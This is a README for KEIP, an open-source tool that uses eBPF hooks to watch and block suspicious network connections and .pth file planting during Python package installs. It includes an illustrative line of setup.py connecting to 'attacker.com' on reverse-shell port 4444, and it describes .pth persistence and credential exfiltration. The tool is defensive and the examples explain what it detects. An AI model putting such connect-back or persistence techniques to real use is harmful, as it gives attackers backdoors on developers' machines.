KEIP - Kernel-Enforced Install-Time Policies

<div align="center">

Real-time malware protection for Python package installations using eBPF

Features • How it works • Installation • Usage • Documentation

</div>

---

What is KEIP?

KEIP sits between pip install and your kernel. It watches every network connection a package makes during installation and kills anything that looks suspicious. No signatures, no databases, just behavior.

If a package tries to phone home on a weird port or talk to a dozen different servers, KEIP shuts it down before it can do any damage.

Why does this matter?

When you run pip install some-package, that package can run arbitrary code through its setup.py. This is how attackers steal credentials, open backdoors, and exfiltrate data. It happens more often than you'd think.

The tools we have today don't really solve this:

• Static scanners miss obfuscated code (and about half of malicious packages use obfuscation)
• Sandboxes add 2-5 seconds per install, which kills CI/CD performance
• Runtime monitoring only kicks in after installation is done, which is too late
• Signature databases are useless against new attacks

KEIP takes a different approach. It hooks into the kernel using eBPF and enforces security policies during installation, in real time, at a level that can't be bypassed from userspace.

---

Features

| Feature | Description | |---------|-------------| | Kernel-level enforcement | eBPF LSM hooks block threats at the source, can't be bypassed | | Install-time protection | Targets the install phase, where 56% of supply chain attacks happen | | Behavioral detection | Watches what packages do, not what they look like | | .pth file detection | Catches malicious persistence files planted in site-packages | | No sudo required | Uses Linux capabilities (CAP_BPF) instead of full root access | | CI/CD ready | Under 50ms overhead, won't slow down your pipeline | | Low false positives | Legitimate packages (PyPI CDN, GitHub) go through just fine | | Real-time monitoring | See every connection a package makes as it happens | | Process termination | Kills the entire process group, not just one connection |

---

How it works

KEIP uses three rules to decide if a package is behaving normally or not.

Architecture flow

graph TB
    A[Developer: pip install malicious-pkg] --> B[Python spawns child process]
    B --> C[setup.py executes]
    C --> D[Tries socket.connect on port 4444]
    D --> E{KEIP eBPF Hook<br/>socket_connect}
    E -->|Port 4444?| F[BLOCKED]
    E -->|Port 443?| G[ALLOWED]
    F --> H[Kill Process Group]
    G --> I[Installation continues]
    
    style F fill:#ff6b6b
    style G fill:#51cf66
    style E fill:#4dabf7

Rule 1: Port trap

Legitimate packages only need ports 80, 443, and 53 (HTTP, HTTPS, DNS). If a package tries to connect on port 22 (SSH), 4444 (common reverse shell), 6379 (Redis), or anything else unusual, that's a red flag.

pip install malicious-package
  setup.py tries socket.connect("attacker.com", 4444)
    KEIP intercepts at kernel level
      Process killed, installation stopped

Rule 2: Connection counter

A normal package talks to maybe 2-4 servers during install (PyPI CDN, maybe GitHub). Malware tends to scan or try multiple C2 servers. KEIP blocks any package that contacts more than 5 unique IPs.

Rule 3: Data exfiltration detection (coming soon)

Normal packages download a lot and upload very little. Malware does the opposite, it reads your SSH keys and environment variables and sends them somewhere. KEIP will flag any installation where the upload/download ratio looks off.

---

What's New

Runs without sudo

KEIP no longer requires sudo to run after system-wide installation.

This was a critical improvement for CI/CD pipelines and developer workflows. Requiring root access made KEIP difficult to deploy in automated environments like GitHub Actions, GitLab CI, and Jenkins, where granting sudo to a build step is either impossible or a serious security concern. Developers also avoided using KEIP locally because running security tools with full root privileges felt counterintuitive. By removing the sudo requirement, KEIP can now be dropped into any pipeline or developer machine with zero friction.

To avoid granting global eBPF privileges to the system's python3 binary (which would be a massive security flaw where any python script could load kernel hooks), we introduced a dedicated python binary strategy:

1. setup.sh: Added libcap2-bin to install the setcap tool.
2. install.sh: Creates an isolated copy of Python at /opt/keip/keip-python and assigns it cap_bpf,cap_sys_admin,cap_perfmon,cap_dac_read_search=ep.
3. install.sh: The global wrapper /usr/local/bin/keip now explicitly uses this dedicated binary.
4. run_keip.sh: Edited to look for cap_bpf on the python binary if not run as root.
5. src/keip_pip_monitor.py: Removed the hardcoded os.geteuid() != 0 check. If capabilities are missing, the BCC module will fail gracefully on its own.

This means the system's Python stays untouched, and only the KEIP-specific binary gets eBPF privileges.

.pth File Planting Detection (Post-Install Audit)

KEIP was previously blind to .pth file planting, a persistence technique where a malicious package silently drops a file into site-packages that gets executed every time Python starts.

The problem: This .pth fix is for people who use a global environment (don't use venv), and for people who reuse venvs across many projects. A malicious package can drop a .pth file in the site-packages folder (either the global environment or the venv environment), and whenever you run python to execute your code, python will check the site-packages and execute whatever .pth is there even if it is related to your python code or not (even if its related to your imports or not on your script). Since its not a child of pip install, KEIP won't intercept the malicious call.

How we fixed it:

1. src/pth_audit.py: Created a new module that snapshots all .pth files in every site-packages directory (global + venv) before and after a pip install. It compares the snapshots and alerts the user if any new .pth files containing executable code (import ... lines) were planted. It also includes a whitelist of known safe .pth files (e.g. distutils-precedence.pth from setuptools) to avoid false positives.
2. keip install <package>: Wraps pip install with the .pth audit (before + after snapshot).
3. keip scan: Standalone scanner that checks all existing .pth files for executable code at any time.
4. keip python <script>: Safe python wrapper that scans for malicious .pth files before running the script. If threats are found, execution is blocked. Supports --force to override.
5. install.sh: Updated the keip wrapper to route all new subcommands to pth_audit.py.

---

Requirements

• Linux with kernel 5.7 or newer (needs LSM BPF support)
• BTF (BPF Type Format) enabled in the kernel

Tested on:

• Debian 12
• Ubuntu 22.04+
• Kali Linux
• Fedora 38+

If you're on a different distro, check your kernel version with uname -r.

---

Installation

git clone https://github.com/Otsmane-Ahmed/KEIP.git
cd KEIP
chmod +x *.sh
./check_compat.sh
sudo ./setup.sh
sudo ./install.sh

That's it. Here's what each step does:

./check_compat.sh checks if your kernel and system support eBPF LSM hooks.

sudo ./setup.sh installs dependencies: clang, llvm, bpfcc, kernel headers, and sets up a Python virtual environment.

sudo ./install.sh copies KEIP to /opt/keip and creates a global keip command in /usr/local/bin.

To verify everything is in place:

which keip
# should output: /usr/local/bin/keip

---

Usage

KEIP provides multiple commands for different security needs:

| Command | Description | |---------|-------------| | keip | Start the real-time eBPF network monitor | | keip install <package> | Install a package with .pth file auditing | | keip scan | Scan for malicious .pth files in your environment | | keip python <script> | Run Python safely with .pth pre-check | | keip --quiet | Start eBPF monitor in quiet mode (CI/CD) | | keip --help | Show all options |

Starting the eBPF monitor

If you installed KEIP system-wide via ./install.sh, it uses Linux capabilities (CAP_BPF) to run without sudo.

keip

You should see:

╔═════════════════════════════════════════════════════════╗
║  KEIP v1.0.0 - Kernel-Enforced Install-Time Policies    ║
║  eBPF-based Python Package Security Monitor             ║
║                                                         ║
║  Author: Otsmane Ahmed                                  ║
║  GitHub: https://github.com/Otsmane-Ahmed/KEIP          ║
╚═════════════════════════════════════════════════════════╝

[*] KEIP Monitor Starting...
[*] Behavioral Detection Mode Enabled
[*] Configuration:
    - Allowed ports: [80, 443, 53]
    - Max unique IPs: 5
    - Monitoring: pip, pip3, python, python3
[+] eBPF program compiled
[+] LSM hooks ready
[*] Monitoring active. Press Ctrl+C to stop.

Testing with a safe package

Open another terminal and install something legitimate. KEIP monitors all pip and python processes system-wide, so it doesn't matter if you're using the virtual environment that setup.sh created, your own venv, or installing directly on the system. It will pic